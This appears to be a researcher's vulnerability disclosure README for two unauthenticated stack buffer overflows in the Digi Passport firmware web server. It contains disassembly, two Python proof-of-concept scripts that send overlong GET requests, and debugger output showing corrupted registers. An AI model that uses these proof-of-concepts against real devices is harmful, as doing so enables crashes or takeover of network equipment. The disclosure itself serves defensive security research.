X-C3LL Update readme.md History

1 contributor

204 lines (165 sloc) | 5.81 KB

Vulnerability details

- Product: Digi Passport (Firmware 1.5.1,1 - 7/11/2021)
- Discovered by: Juan Manuel Fernández (@TheXC3LL) & Matt Johnson (@breakfix) from MDSec

The vulnerabilities are present in the "webs" binary, which is responsible for the web administration service. Both share the same common pattern: the insecure use of sprintf() for string concatenation.

Buffer Overflow (I) CVE-2022-26952

When an unauthenticated user attempts to access endpoints that require a valid session, the user is redirected to "authen.asp?page=" plus the endpoint (for example, /authen.asp?page=/ilo.asp).

```
addi    r0, r31, 0x8c {var_1b4}
mr      r3, r0 {var_1b4}
lis     r9, 0x1016
addi    r4, r9, 0x1210  {data_10161210, "authen.asp?page=%s"}
lwz     r5, 524(r31) {var_34_1}
bl      sprintf
addi    r0, r31, 0x8c {var_1b4}
```

```
lwz     r3, 504(r31) {var_48}
mr      r4, r0 {var_1b4}
bl      sub_100197c8
li      r0, 0x1
stw     r0, 548(r31) {var_1c}  {0x1}
b       0x1001d314
```

This concatenation is done via a sprintf() which does not take into account the original buffer size, so it is possible to get an out-of-bounds write if a long enough string is supplied. This can be achieved by adding a long parameter in the request to the endpoint (e.g., /ilo.asp?aaaa(...)aaaaaa).:

```
import socket


r9 = "BBBB"
padding1 = "C" * 72
frame = "XXXX"



poc = r9 + padding1 + frame

base = "A" * 339 #"A" * 339


query = "GET /ilo.asp?"
query += base
query += poc
query += " HTTP/1.1\nHost: localhost"
query += "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80))
s.sendall(query)
```

In this way, it is possible to corrupt the stack:

```
Program received signal SIGSEGV, Segmentation fault.
0x1001985c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS
]──────────────────────────────────────
 R30x0
*R40x10160aaa ◂— andis. r16, r3, 0x3a2f /* 'tp://' */
```

```
 R50x0
*R60xfefefeff
*R70x7f7f7f7f
*R80x74
*R90x42424242 ('BBBB')
*R10  0xffffd57f ◂— 0x0
*R11  0x68
*R12  0xfa53d00 ◂— b0xfa53d14 /* 'H' */
*R13  0x10219b78 ◂— 0x0
 R14  0x0
 R15  0x0
 R16  0x0
 R17  0x0
 R18  0x0
 R19  0x0
 R20  0x0
 R21  0x0
 R22  0x0
 R23  0x0
 R24  0x0
 R25  0x0
 R26  0x0
*R27  0xff7fce60 —▸ 0xffffe744 —▸ 0xffffe85e ◂— 'usr/sbin/webs'
*R28  0x102d5950 ◂— '/ilo.asp'
*R29  0x102d1d40 ◂— cmpwi  cr6, r0, 0 /* 0x2f000000; '/' */
*R30  0xfb1c73c ◂— 0x13ef18
*R31  0xffffd200 —▸ 0xffffd230 —▸ 0xffffd470 ◂— 0x43434343 ('CCCC')
*SP0xffffd200 —▸ 0xffffd230 —▸ 0xffffd470 ◂— 0x43434343 ('CCCC')


pwndbg> bt
#0  0x1001985c in ?? ()
#1  0x10019820 in ?? ()
#2  0x1001d2e4 in ?? ()
#3  0x58585858 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
```

Buffer Overflow (II) CVE-2022-26953

Similarly for the "reboot.asp" endpoint. When the "mode=4" parameter is supplied, it displays an HTML where it includes the string supplied from the "page" parameter ("reboot.asp?mode=4&page=something"). This concatenation between the "page" parameter and the HTML is done with a sprintf() without prior size checking.

```
lwz     r3, 236(r31)
lis     r9, 0x1016
addi    r4, r9, 0x3588  {data_10163588, "page"}
lis     r9, 0x1016
addi    r5, r9, 0x357c  {data_1016357c, "login.asp"}
bl      sub_10019354
mr      r11, r3
addi    r0, r31, 0x10
mr      r3, r0
lis     r9, 0x1016
addi    r4, r9, 0x3f00  {data_10163f00, "HTTP is not available. Please, <…"}
mr      r5, r11
bl      sprintf
b       0x10024084
```

Because of this it is possible to write outside the buffer bounds:

```
import socket


base = "A" * 180
r9 = "BBBB"
padding1 = "A" * 36
frame = "CCCC"

poc = r9 + padding1 + frame

query = "GET /reboot.asp?mode=4&page="
query += base
query += poc
query += " HTTP/1.1\nHost: localhost"
query += "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80))
s.sendall(query)



Program received signal SIGSEGV, Segmentation fault.
0x10019f50 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────[ REGISTERS
]──────────────────────────────────────
*R3   0x102d6128 ◂— addis  r3, r20, 0x723e /* 0x3c74723e; '<tr><td
bgcolor=#000084 height=22><font color=#FFFFFF><b>' */
*R4   0x102d6101 ◂— 0x746572
*R5   0x1
```

```
*R6   0xfefefeff
*R7   0x7f7f7f7f
*R8   0x800000
*R9   0x42424242 ('BBBB')
*R10  0x2
*R11  0xffffcbb0 —▸ 0xffffcbe0 —▸ 0xffffcc90 —▸ 0xffffccd0 —▸ 0xffffcde0 ◂— ...
*R12  0xfa543b4 ◂— b      0xfa543c8 /* 'H' */
*R13  0x10219b78 ◂— 0x0
 R14  0x0
 R15  0x0
 R16  0x0
 R17  0x0
 R18  0x0
 R19  0x0
 R20  0x0
 R21  0x0
 R22  0x0
 R23  0x0
 R24  0x0
 R25  0x0
 R26  0x0
*R27  0xff7fce60 —▸ 0xffffe744 —▸ 0xffffe85e ◂— 'usr/sbin/webs'
*R28  0x102d4b50 ◂— '/reboot.asp'
*R29  0x102d60c8 ◂— addis  r3, r20, 0x723e /* 0x3c74723e; '<tr><td
bgcolor=#000084 height=22><font color=#FFFFFF><b>' */
*R30  0xfb1c73c ◂— 0x13ef18
*R31  0xffffcbb0 —▸ 0xffffcbe0 —▸ 0xffffcc90 —▸ 0xffffccd0 —▸ 0xffffcde0 ◂— ...
*SP   0xffffcbb0 —▸ 0xffffcbe0 —▸ 0xffffcc90 —▸ 0xffffccd0 —▸ 0xffffcde0 ◂— ...
*PC   0x10019f50 ◂— lwz    r0, 0x4d4(r9)
```

```
pwndbg> bt
#0  0x10019f50 in ?? ()
#1  0x10019f38 in ?? ()
#2  0x10019ec4 in ?? ()
#3  0x1005dcc4 in ?? ()
#4  0x100240a0 in ?? ()
#5  0x42424242 in ?? ()
```